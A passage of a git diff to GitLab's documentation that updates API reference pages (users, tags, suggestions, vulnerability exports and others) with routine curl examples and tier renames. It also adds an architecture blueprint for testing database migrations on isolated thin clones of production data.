displayed when instance is in maintenance mode | -| `maintenance_mode` | boolean | no | **(PREMIUM)** When instance is in maintenance mode, non-admin users can sign in with read-only access and make read-only API requests | +| `maintenance_mode` | boolean | no | **(PREMIUM)** When instance is in maintenance mode, non-administrative users can sign in with read-only access and make read-only API requests | | `max_artifacts_size` | integer | no | Maximum artifacts size in MB | | `max_attachment_size` | integer | no | Limit attachment size in MB | -| `max_import_size` | integer | no | Maximum import size in MB. 0 for unlimited. Default = 0 (unlimited) | +| `max_import_size` | integer | no | Maximum import size in MB. 0 for unlimited. Default = 0 (unlimited) [Modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to 0 in GitLab 13.8. | | `max_pages_size` | integer | no | Maximum size of pages repositories in MB | -| `max_personal_access_token_lifetime` | integer | no | **(ULTIMATE ONLY)** Maximum allowable lifetime for personal access tokens in days | +| `max_personal_access_token_lifetime` | integer | no | **(ULTIMATE SELF)** Maximum allowable lifetime for personal access tokens in days | | `metrics_method_call_threshold` | integer | no | A method call is only tracked when it takes longer than the given amount of milliseconds. | | `mirror_available` | boolean | no | Allow repository mirroring to configured by project Maintainers. If disabled, only Admins can configure repository mirroring. | | `mirror_capacity_threshold` | integer | no | **(PREMIUM)** Minimum capacity to be available before scheduling more mirrors preemptively | | `mirror_max_capacity` | integer | no | **(PREMIUM)** Maximum number of mirrors that can be synchronizing at the same time. | | `mirror_max_delay` | integer | no | **(PREMIUM)** Maximum time (in minutes) between updates that a mirror can have when scheduled to synchronize. | -| `npm_package_requests_forwarding` | boolean | no | **(PREMIUM)** Use npmjs.org as a default remote repository when the package is not found in the GitLab NPM Registry | +| `npm_package_requests_forwarding` | boolean | no | **(PREMIUM)** Use npmjs.org as a default remote repository when the package is not found in the GitLab Package Registry for npm | | `outbound_local_requests_whitelist` | array of strings | no | Define a list of trusted domains or IP addresses to which local requests are allowed when local requests for hooks and services are disabled. | `pages_domain_verification_enabled` | boolean | no | Require users to prove ownership of custom domains. Domain verification is an essential security measure for public GitLab sites. Users are required to demonstrate they control a domain before it is enabled. | | `password_authentication_enabled_for_git` | boolean | no | Enable authentication for Git over HTTP(S) via a GitLab account password. Default is `true`. | @@ -341,7 +346,7 @@ listed in the descriptions of the relevant settings. | `receive_max_input_size` | integer | no | Maximum push size (MB). | | `repository_checks_enabled` | boolean | no | GitLab periodically runs `git fsck` in all project and wiki repositories to look for silent disk corruption issues. | | `repository_size_limit` | integer | no | **(PREMIUM)** Size limit per repository (MB) | -| `repository_storages_weighted` | hash of strings to integers | no | (GitLab 13.1 and later) Hash of names of taken from `gitlab.yml` to [weights](../administration/repository_storage_paths.md#choose-where-new-repositories-are-stored). New projects are created in one of these stores, chosen by a weighted random selection. | +| `repository_storages_weighted` | hash of strings to integers | no | (GitLab 13.1 and later) Hash of names of taken from `gitlab.yml` to [weights](../administration/repository_storage_paths.md#configure-where-new-repositories-are-stored). New projects are created in one of these stores, chosen by a weighted random selection. | | `repository_storages` | array of strings | no | (GitLab 13.0 and earlier) List of names of enabled storage paths, taken from `gitlab.yml`. New projects are created in one of these stores, chosen at random. | | `require_admin_approval_after_user_signup` | boolean | no | When enabled, any user that signs up for an account using the registration form is placed under a **Pending approval** state and has to be explicitly [approved](../user/admin_area/approving_users.md) by an administrator. | | `require_two_factor_authentication` | boolean | no | (**If enabled, requires:** `two_factor_grace_period`) Require all users to set up Two-factor authentication. | diff --git a/doc/api/sidekiq_metrics.md b/doc/api/sidekiq_metrics.md index 2f018e67628..4791f066cd2 100644 --- a/doc/api/sidekiq_metrics.md +++ b/doc/api/sidekiq_metrics.md @@ -4,7 +4,7 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Sidekiq Metrics API **(CORE ONLY)** +# Sidekiq Metrics API **(FREE SELF)** > Introduced in GitLab 8.9. diff --git a/doc/api/snippet_repository_storage_moves.md b/doc/api/snippet_repository_storage_moves.md index f60b1dfb449..393ca30c28d 100644 --- a/doc/api/snippet_repository_storage_moves.md +++ b/doc/api/snippet_repository_storage_moves.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Snippet repository storage moves API **(CORE ONLY)** +# Snippet repository storage moves API **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49228) in GitLab 13.8. @@ -30,11 +30,10 @@ read-only. Please try again later.` message if they try to push new commits. This API requires you to [authenticate yourself](README.md#authentication) as an administrator. -Project repositories can be moved using the [Project repository storage moves API](project_repository_storage_moves.md). +For other repository types see: -## Limitations - -- Group-level wikis [can't be moved with the API](https://gitlab.com/gitlab-org/gitlab/-/issues/219003). +- [Project repository storage moves API](project_repository_storage_moves.md). +- [Group repository storage moves API](group_repository_storage_moves.md). ## Retrieve all snippet repository storage moves diff --git a/doc/api/suggestions.md b/doc/api/suggestions.md index 9f878cd029a..0fcb6122505 100644 --- a/doc/api/suggestions.md +++ b/doc/api/suggestions.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Suggest Changes API +# Suggest Changes API **(FREE)** Every API call to suggestions must be authenticated. @@ -21,6 +21,7 @@ PUT /suggestions/:id/apply | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | | `id` | integer/string | yes | The ID of a suggestion | +| `commit_message` | string | no | A custom commit message to use instead of the default generated message or the project's default message | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/suggestions/5/apply" diff --git a/doc/api/tags.md b/doc/api/tags.md index 126bc010022..eef4504aa5b 100644 --- a/doc/api/tags.md +++ b/doc/api/tags.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Tags API +# Tags API **(FREE)** ## List project repository tags @@ -123,7 +123,7 @@ Parameters: | `tag_name` | string | yes | The name of a tag | | `ref` | string | yes | Create tag using commit SHA, another tag name, or branch name | | `message` | string | no | Creates annotated tag | -| `release_description` | string | no | Add release notes to the Git tag and store it in the GitLab database | +| `release_description` | string | no | This parameter is [deprecated](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) for use in GitLab 11.7, and is planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/290311) in GitLab 14.0. Use the [Releases API](../api/releases/index.md) instead. | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/tags?tag_name=test&ref=master" @@ -186,6 +186,11 @@ Parameters: ## Create a new release +WARNING: +This feature is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) +for use in GitLab 11.7, and is planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/290311) +in GitLab 14.0. Use the [Releases API](../api/releases/index.md) instead. + Add release notes to the existing Git tag. If there already exists a release for the given tag, status code `409` is returned. @@ -221,6 +226,11 @@ Response: ## Update a release +WARNING: +This feature is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41766) +for use in GitLab 11.7, and is planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/290311) +in GitLab 14.0. Use the [Releases API](../api/releases/index.md) instead. + Updates the release notes of a given release. ```plaintext diff --git a/doc/api/todos.md b/doc/api/todos.md index 203d1bc6f03..3b2e3acb38b 100644 --- a/doc/api/todos.md +++ b/doc/api/todos.md @@ -10,8 +10,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Get a list of to dos -Returns a list of to dos. When no filter is applied, it returns all pending to dos -for the current user. Different filters allow the user to precise the request. +Returns a list of [to-do items](../user/todos.md). When no filter is applied, it +returns all pending to-do items for the current user. Different filters allow the +user to refine the request. ```plaintext GET /todos diff --git a/doc/api/users.md b/doc/api/users.md index ecfd8e26626..76b0bb3491c 100644 --- a/doc/api/users.md +++ b/doc/api/users.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Manage +group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -65,7 +65,7 @@ GET /users?active=true GET /users?blocked=true ``` -GitLab supports bot users such as the [alert bot](../operations/incident_management/alert_integrations.md) +GitLab supports bot users such as the [alert bot](../operations/incident_management/integrations.md) or the [support bot](../user/project/service_desk.md#support-bot-user). To exclude these users from the users' list, you can use the parameter `exclude_internal=true` ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241144) in GitLab 13.4). @@ -88,7 +88,7 @@ GET /users | `order_by` | string | no | Return users ordered by `id`, `name`, `username`, `created_at`, or `updated_at` fields. Default is `id` | | `sort` | string | no | Return users sorted in `asc` or `desc` order. Default is `desc` | | `two_factor` | string | no | Filter users by Two-factor authentication. Filter values are `enabled` or `disabled`. By default it returns all users | -| `without_projects` | boolean | no | Filter users without projects. Default is `false` | +| `without_projects` | boolean | no | Filter users without projects. Default is `false`, which means that all users are returned, with and without projects. | | `admins` | boolean | no | Return only admin users. Default is `false` | ```json @@ -171,7 +171,7 @@ GET /users ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit`, `extra_shared_runners_minutes_limit`, and `using_license_seat` parameters. +Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit`, `extra_shared_runners_minutes_limit`, and `using_license_seat` parameters. ```json [ @@ -186,7 +186,7 @@ Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) ] ``` -Users on GitLab [Silver or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see the `group_saml` provider option: ```json @@ -217,7 +217,9 @@ For example: GET /users?extern_uid=1234567&provider=github ``` -You can search for users who are external with: `/users?external=true` +Instance administrators can search for users who are external with: `/users?external=true` + +You cannot search for external users if you are not an instance administrator. You can search users by creation date time range with: @@ -264,6 +266,7 @@ Parameters: "created_at": "2012-05-23T08:00:58Z", "bio": "", "bio_html": "", + "bot": false, "location": null, "public_email": "john@example.com", "skype": "", @@ -271,7 +274,9 @@ Parameters: "twitter": "", "website_url": "", "organization": "", - "job_title": "Operations Specialist" + "job_title": "Operations Specialist", + "followers": 1, + "following": 1 } ``` @@ -337,7 +342,7 @@ Example Responses: NOTE: The `plan` and `trial` parameters are only available on GitLab Enterprise Edition. -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` parameters. ```json @@ -350,7 +355,7 @@ the `shared_runners_minutes_limit`, and `extra_shared_runners_minutes_limit` par } ``` -Users on GitLab.com [Silver, or higher](https://about.gitlab.com/pricing/) also +Users on GitLab.com [Premium or higher](https://about.gitlab.com/pricing/) also see the `group_saml` option: ```json @@ -623,7 +628,8 @@ Example response: { "emoji":"coffee", "message":"I crave coffee :coffee:", - "message_html": "I crave coffee <gl-emoji title=\"hot beverage\" data-name=\"coffee\" data-unicode-version=\"4.0\">☕</gl-emoji>" + "message_html": "I crave coffee <gl-emoji title=\"hot beverage\" data-name=\"coffee\" data-unicode-version=\"4.0\">☕</gl-emoji>", + "clear_status_at": null } ``` @@ -649,7 +655,8 @@ Example response: { "emoji":"coffee", "message":"I crave coffee :coffee:", - "message_html": "I crave coffee <gl-emoji title=\"hot beverage\" data-name=\"coffee\" data-unicode-version=\"4.0\">☕</gl-emoji>" + "message_html": "I crave coffee <gl-emoji title=\"hot beverage\" data-name=\"coffee\" data-unicode-version=\"4.0\">☕</gl-emoji>", + "clear_status_at": null } ``` @@ -661,15 +668,16 @@ Set the status of the current user. PUT /user/status ``` -| Attribute | Type | Required | Description | -| --------- | ------ | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `emoji` | string | no | The name of the emoji to use as status. If omitted `speech_balloon` is used. Emoji name can be one of the specified names in the [Gemojione index](https://github.com/bonusly/gemojione/blob/master/config/index.json). | -| `message` | string | no | The message to set as a status. It can also contain emoji codes. | +| Attribute | Type | Required | Description | +| -------------------- | ------ | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `emoji` | string | no | The name of the emoji to use as status. If omitted `speech_balloon` is used. Emoji name can be one of the specified names in the [Gemojione index](https://github.com/bonusly/gemojione/blob/master/config/index.json). | +| `message` | string | no | The message to set as a status. It can also contain emoji codes. | +| `clear_status_after` | string | no | Automatically clean up the status after a given time interval, allowed values: `30_minutes`, `3_hours`, `8_hours`, `1_day`, `3_days`, `7_days`, `30_days` -When both parameters `emoji` and `message` are empty, the status is cleared. +When both parameters `emoji` and `message` are empty, the status is cleared. When the `clear_status_after` parameter is missing from the request, the previously set value for `"clear_status_after` is cleared. ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "emoji=coffee" --data "message=I crave coffee" "https://gitlab.example.com/api/v4/user/status" +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "clear_status_after=1_day" --data "emoji=coffee" --data "message=I crave coffee" "https://gitlab.example.com/api/v4/user/status" ``` Example responses @@ -678,10 +686,93 @@ Example responses { "emoji":"coffee", "message":"I crave coffee", - "message_html": "I crave coffee" + "message_html": "I crave coffee", + "clear_status_at":"2021-02-15T10:49:01.311Z" +} +``` + +## User Follow + +### Follow and unfollow users + +Follow a user. + +```plaintext +POST /users/:id/follow +``` + +Unfollow a user. + +```plaintext +POST /users/:id/unfollow +``` + +| Attribute | Type | Required | Description | +| --------- | ------- | -------- | ---------------------------- | +| `id` | integer | yes | The ID of the user to follow | + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/users/3/follow" +``` + +Example response: + +```json +{ + "id": 1, + "username": "john_smith", + "name": "John Smith", + "state": "active", + "avatar_url": "http://localhost:3000/uploads/user/avatar/1/cd8.jpeg", + "web_url": "http://localhost:3000/john_smith" } ``` +### Followers and following + +Get the followers of a user. + +```plaintext +GET /users/:id/followers +``` + +Get the list of users being followed. + +```plaintext +GET /users/:id/following +``` + +| Attribute | Type | Required | Description | +| --------- | ------- | -------- | ---------------------------- | +| `id` | integer | yes | The ID of the user to follow | + +```shell +curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/users/3/followers" +``` + +Example response: + +```json +[ + { + "id": 2, + "name": "Lennie Donnelly", + "username": "evette.kilback", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/7955171a55ac4997ed81e5976287890a?s=80&d=identicon", + "web_url": "http://127.0.0.1:3000/evette.kilback" + }, + { + "id": 4, + "name": "Serena Bradtke", + "username": "cammy", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/a2daad869a7b60d3090b7b9bef4baf57?s=80&d=identicon", + "web_url": "http://127.0.0.1:3000/cammy" + } +] +``` + ## User counts Get the counts (same as in top right menu) of the currently signed in user. @@ -1374,7 +1465,7 @@ Example Responses: ``` ```json -{ "message": "The user you are trying to approve is not pending an approval" } +{ "message": "The user you are trying to approve is not pending approval" } ``` ## Get an impersonation token of a user @@ -1481,7 +1572,7 @@ Parameters: | `user_id` | integer | yes | The ID of the user | | `impersonation_token_id` | integer | yes | The ID of the impersonation token | -## Create a personal access token **(CORE ONLY)** +## Create a personal access token **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17176) in GitLab 13.6. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267553) in GitLab 13.8. diff --git a/doc/api/v3_to_v4.md b/doc/api/v3_to_v4.md index 00e70d34db6..c63a04228a5 100644 --- a/doc/api/v3_to_v4.md +++ b/doc/api/v3_to_v4.md @@ -71,7 +71,7 @@ Below are the changes made between V3 and V4. - Notes do not return deprecated field `upvote` and `downvote` [!9384](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9384) - Return HTTP status code `400` for all validation errors when creating or updating a member instead of sometimes `422` error. [!9523](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9523) - Remove `GET /groups/owned`. Use `GET /groups?owned=true` instead [!9505](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9505) -- Return 202 with JSON body on async removals on V4 API (`DELETE /projects/:id/repository/merged_branches` and `DELETE /projects/:id`) [!9449](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9449) +- Return 202 with JSON body on asynchronous removals on V4 API (`DELETE /projects/:id/repository/merged_branches` and `DELETE /projects/:id`) [!9449](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9449) - `GET /projects/:id/milestones?iid[]=x&iid[]=y` array filter has been renamed to `iids` [!9096](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9096) - Return basic information about pipeline in `GET /projects/:id/pipelines` [!8875](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8875) - Renamed all `build` references to `job` [!9463](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9463) diff --git a/doc/api/visual_review_discussions.md b/doc/api/visual_review_discussions.md index 67d9c523862..c3414a4e9ec 100644 --- a/doc/api/visual_review_discussions.md +++ b/doc/api/visual_review_discussions.md @@ -5,9 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, api --- -# Visual Review discussions API **(STARTER)** +# Visual Review discussions API **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18710) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18710) in GitLab 12.5. +> - [Moved](https://about.gitlab.com/blog/2021/01/26/new-gitlab-product-subscription-model/) to GitLab Premium in 13.9. Visual Review discussions are notes on Merge Requests sent as feedback from [Visual Reviews](../ci/review_apps/index.md#visual-reviews). diff --git a/doc/api/vulnerability_exports.md b/doc/api/vulnerability_exports.md index e4853920cab..f70662c7c61 100644 --- a/doc/api/vulnerability_exports.md +++ b/doc/api/vulnerability_exports.md @@ -37,7 +37,7 @@ POST /security/projects/:id/vulnerability_exports | `id` | integer or string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the project which the authenticated user is a member of | ```shell -curl --header POST "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/vulnerability_exports" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/projects/1/vulnerability_exports" ``` The created vulnerability export is automatically deleted after 1 hour. @@ -83,7 +83,7 @@ POST /security/groups/:id/vulnerability_exports | `id` | integer or string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the group which the authenticated user is a member of | ```shell -curl --header POST "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/groups/1/vulnerability_exports" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/groups/1/vulnerability_exports" ``` The created vulnerability export is automatically deleted after 1 hour. @@ -116,7 +116,7 @@ POST /security/vulnerability_exports ``` ```shell -curl --header POST "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/vulnerability_exports" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/vulnerability_exports" ``` The created vulnerability export is automatically deleted after one hour. diff --git a/doc/api/wikis.md b/doc/api/wikis.md index dfbedc9bfd1..43587da9473 100644 --- a/doc/api/wikis.md +++ b/doc/api/wikis.md @@ -1,6 +1,6 @@ --- stage: Create -group: Knowledge +group: Editor info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -175,9 +175,9 @@ POST /projects/:id/wikis/attachments | `file` | string | yes | The attachment to be uploaded | | `branch` | string | no | The name of the branch. Defaults to the wiki repository default branch | -To upload a file from your filesystem, use the `--form` argument. This causes +To upload a file from your file system, use the `--form` argument. This causes cURL to post data using the header `Content-Type: multipart/form-data`. -The `file=` parameter must point to a file on your filesystem and be preceded +The `file=` parameter must point to a file on your file system and be preceded by `@`. For example: ```shell diff --git a/doc/architecture/blueprints/database_testing/index.md b/doc/architecture/blueprints/database_testing/index.md new file mode 100644 index 00000000000..a333ac12ef3 --- /dev/null +++ b/doc/architecture/blueprints/database_testing/index.md @@ -0,0 +1,145 @@ +--- +comments: false +description: 'Database Testing' +--- + +# Database Testing + +We have identified [common themes of reverted migrations](https://gitlab.com/gitlab-org/gitlab/-/issues/233391) and discovered failed migrations breaking in both production and staging even when successfully tested in a developer environment. We have also experienced production incidents even with successful testing in staging. These failures are quite expensive: they can have a significant effect on availability, block deployments, and generate incident escalations. These escalations must be triaged and either reverted or fixed forward. Often, this can take place without the original author's involvement due to time zones and/or the criticality of the escalation. With our increased deployment speeds and stricter uptime requirements, the need for improving database testing is critical, particularly earlier in the development process (shift left). + +From a developer's perspective, it is hard, if not unfeasible, to validate a migration on a large enough dataset before it goes into production. + +Our primary goal is to **provide developers with immediate feedback for new migrations and other database-related changes tested on a full copy of the production database**, and to do so with high levels of efficiency (particularly in terms of infrastructure costs) and security. + +## Current day + +Developers are expected to test database migrations prior to deploying to any environment, but we lack the ability to perform testing against large environments such as GitLab.com. The [developer database migration style guide](../../../development/migration_style_guide.md) provides guidelines on migrations, and we focus on validating migrations during code review and testing in CI and staging. + +The [code review phase](../../../development/database_review.md) involves Database Reviewers and Maintainers to manually check the migrations committed. This often involves knowing and spotting problematic patterns and their particular behavior on GitLab.com from experience. There is no large-scale environment available that allows us to test database migrations before they are being merged. + +Testing in CI is done on a very small database. We mainly check forward/backward migration consistency, evaluate Rubocop rules to detect well-known problematic behaviors (static code checking) and have a few other, rather technical checks in place (adding the right files etc). That is, we typically find code or other rather simple errors, but cannot surface any data related errors - which are also typically not covered by unit tests either. + +Once merged, migrations are being deployed to the staging environment. Its database size is less than 5% of the production database size as of January 2021 and its recent data distribution does not resemble the production site. Oftentimes, we see migrations succeed in staging but then fail in production due to query timeouts or other unexpected problems. Even if we caught problems in staging, this is still expensive to reconcile and ideally we want to catch those problems as early as possible in the development cycle. + +Today, we have gained experience with working on a thin-cloned production database (more on this below) and already use it to provide developers with access to production query plans, automated query feedback and suggestions with optimizations. This is built around [Database Lab](https://gitlab.com/postgres-ai/database-lab) and [Joe](https://gitlab.com/postgres-ai/joe), both available through Slack (using ChatOps) and [postgres.ai](https://postgres.ai/). + +## Vision + +As a developer: + +1. I am working on a GitLab code change that includes a data migration and changes a heavy database query. +1. I push my code, create a merge request, and provide an example query in the description. +1. The pipeline executes the data migration and examines the query in a large-scale environment (a copy of GitLab.com). +1. Once the pipeline finishes, the merge request gets detailed feedback and information about the migration and the query I provided. This is based on a full clone of the production database with a state that is very close to production (minutes). + +For database migrations, the information gathered from execution on the clone includes: + +- Overall runtime. +- Detailed statistics for queries being executed in the migration (normalizing queries and showing their frequencies and execution times as plots). +- Dangerous locks held during the migration (which would cause blocking situations in production). + +For database queries, we can automatically gather: + +- Query plans along with visualization. +- Execution times and predictions for production. +- Suggestions on optimizations from Joe. +- Memory and IO statistics. + +After having gotten that feedback: + +1. I can go back and investigate a performance problem with the data migration. +1. Once I have a fix pushed, I can repeat the above cycle and eventually send my merge request for database review. During the database review, the database reviewer and maintainer have all the additional generated information available to them to make an informed decision on the performance of the introduced changes. + +This information gathering is done in a protected and safe environment, making sure that there is no unauthorized access to production data and we can safely execute code in this environment. + +The intended benefits include: + +- Shifting left: Allow developers to understand large-scale database performance and what to expect to happen on GitLab.com in a self-service manner +- Identify errors that are only generated when working against a production scale dataset with real data (with inconsistencies or unexpected patterns) +- Automate the information gathering phase to make it easier for everybody involved in code review (developer, reviewer, maintainer) by providing relevant details automatically and upfront. + +## Technology and next steps + +We already use Database Lab from [postgres.ai](https://postgres.ai/), which is a thin-cloning technology. We maintain a PostgreSQL replica which is up to date with production data but does not serve any production traffic. This runs Database Lab which allows us to quickly create a full clone of the production dataset (in the order of seconds). + +Internally, this is based on ZFS and implements a "thin-cloning technology". That is, ZFS snapshots are being used to clone the data and it exposes a full read/write PostgreSQL cluster based on the cloned data. This is called a *thin clone*. It is rather short lived and is going to be destroyed again shortly after we are finished using it. + +It is important to note that a thin clone is fully read/write. This allows us to execute migrations on top of it. + +Database Lab provides an API we can interact with to manage thin clones. In order to automate the migration and query testing, we add steps to the `gitlab/gitlab-org` CI pipeline. This triggers automation that performs the following steps for a given merge request: + +1. Create a thin-clone with production data for this testing session. +1. Pull GitLab code from the merge request. +1. Execute migrations and gather all necessary information from it. +1. Execute query testing and gather all necessary information from it. +1. Post back the results of the migration and query testing to the merge request. +1. Destroy the thin-clone. + +### Short-term + +The short-term focus is on testing regular migrations (typically schema changes) and using the existing Database Lab instance from postgres.ai for it. + +In order to secure this process and meet compliance goals, the runner environment will be treated as a *production* environment and similarly locked down, monitored and audited. Only Database Maintainers will have access to the CI pipeline and its job output. Everyone else will only be able to see the results and statistics posted back on the merge request. + +We implement a secured CI pipeline on <https://ops.gitlab.net> that adds the execution steps outlined above. The goal is to secure this pipeline in order to solve the following problem: + +Make sure we strongly protect production data, even though we allow everyone (GitLab team/developers) to execute arbitrary code on the thin-clone which contains production data. + +This is in principle achieved by locking down the GitLab Runner instance executing the code and its containers on a network level, such that no data can escape over the network. We make sure no communication can happen to the outside world from within the container executing the GitLab Rails code (and its database migrations). + +Furthermore, we limit the ability to view the results of the jobs (including the output printed from code) to Maintainer and Owner level on the <https://ops.gitlab.net> pipeline and provide only a high level summary back to the original MR. If there are issues or errors in one of the jobs run, the database Maintainer assigned to review the MR can check the original job for more details. + +With this step implemented, we already have the ability to execute database migrations on the thin-cloned GitLab.com database automatically from GitLab CI and provide feedback back to the merge request and the developer. The content of that feedback is expected to evolve over time and we can continuously add to this. + +We already have an [MVC-style implementation for the pipeline](https://gitlab.com/gitlab-org/database-team/gitlab-com-migrations) for reference and an [example merge request with feedback](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50793#note_477815261) from the pipeline. + +The short-term goal is detailed in [this epic](https://gitlab.com/groups/gitlab-org/database-team/-/epics/6). + +### Mid-term - Improved feedback, query testing and background migration testing + +Mid-term, we plan to expand the level of detail the testing pipeline reports back to the Merge Request and expand its scope to cover query testing, too. By doing so, we use our experience from database code reviews and using thin-clone technology and bring this back closer to the GitLab workflow. Instead of reaching out to different tools (`postgres.ai`, `joe`, Slack, plan visualizations etc.) we bring this back to GitLab and working directly on the Merge Request. + +Secondly, we plan to cover background migrations testing, too. These are typically data migrations that are scheduled to run over a long period of time. The success of both the scheduling phase and the job execution phase typically depends a lot on data distribution - which only surfaces when running these migrations on actual production data. In order to become confident about a background migration, we plan to provide the following feedback: + +1. Scheduling phase - query statistics (for example a histogram of query execution times), job statistics (how many jobs, overall duration etc.), batch sizes. +1. Execution phase - using a few instances of a job as examples, we execute those to gather query and runtime statistics. + +### Long-term - incorporate into GitLab product + +There are opportunities to discuss for extracting features from this into GitLab itself. For example, annotating the Merge Request with query examples and attaching feedback gathered from the testing run can become a first-class citizen instead of using Merge Request description and comments for it. We plan to evaluate those ideas as we see those being used in earlier phases and bring our experience back into the product. + +## An alternative discussed: Anonymization + +At the core of this problem lies the concern about executing (potentially arbitrary) code on a production dataset and making sure the production data is well protected. The approach discussed above solves this by strongly limiting access to the output of said code. + +An alternative approach we have discussed and abandoned is to "scrub" and anonymize production data. The idea is to remove any sensitive data from the database and use the resulting dataset for database testing. This has a lot of downsides which led us to abandon the idea: + +- Anonymization is complex by nature - it is a hard problem to call a "scrubbed clone" actually safe to work with in public. Different data types may require different anonymization techniques (e.g. anonymizing sensitive information inside a JSON field) and only focusing on one attribute at a time does not guarantee that a dataset is fully anonymized (for example join attacks or using timestamps in conjunction to public profiles/projects to de-anonymize users by there activity). +- Anonymization requires an additional process to keep track and update the set of attributes considered as sensitive, ongoing maintenance and security reviews every time the database schema changes. +- Annotating data as "sensitive" is error prone, with the wrong anonymization approach used for a data type or one sensitive attribute accidentally not marked as such possibly leading to a data breach. +- Scrubbing not only removes sensitive data, but also changes data distribution, which greatly affects performance of migrations and queries. +- Scrubbing heavily changes the database contents, potentially updating a lot of data, which leads to different data storage details (think MVC bloat), affecting performance of migrations and queries. + +## Who + +<!-- vale gitlab.Spelling = NO --> + +This effort is owned and driven by the [GitLab Database Team](https://about.gitlab.com/handbook/engineering/development/enablement/database/) with support from the [GitLab.com Reliability Datastores](https://about.gitlab.com/handbook/engineering/infrastructure/team/reliability/datastores/) team. + +| Role | Who +|------------------------------|-------------------------| +| Author | Andreas Brandl | +| Architecture Evolution Coach | Gerardo Lopez-Fernandez | +| Engineering Leader | Craig Gomes | +| Domain Expert | Yannis Roussos | +| Domain Expert | Pat Bair | + +DRIs: + +| Role | Who +|------------------------------|------------------------| +| Product | Fabian Zimmer | +| Leadership | Craig Gomes | +| Engineering | Andreas Brandl | + +<!-- vale gitlab.Spelling = YES --> diff --git a/doc/architecture/blueprints/feature_flags_development/index.md b/doc/architecture/blueprints/feature_flags_development/index.md index 6be582bb8af..a5e46d25921 100644 --- a/doc/architecture/blueprints/feature_flags_development/index.md +++ b/doc/architecture/blueprints/feature_flags_development/index.md @@ -91,7 +91,7 @@ allow us to have: name: ci_disallow_to_create_merge_request_pipelines_in_target_project introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40724 rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/235119 -group: group::progressive delivery +group: group::release type: development default_enabled: false ``` @@ -105,7 +105,7 @@ These are reason why these changes are needed: - we have ambiguous usage of feature flag with different `default_enabled:` and different 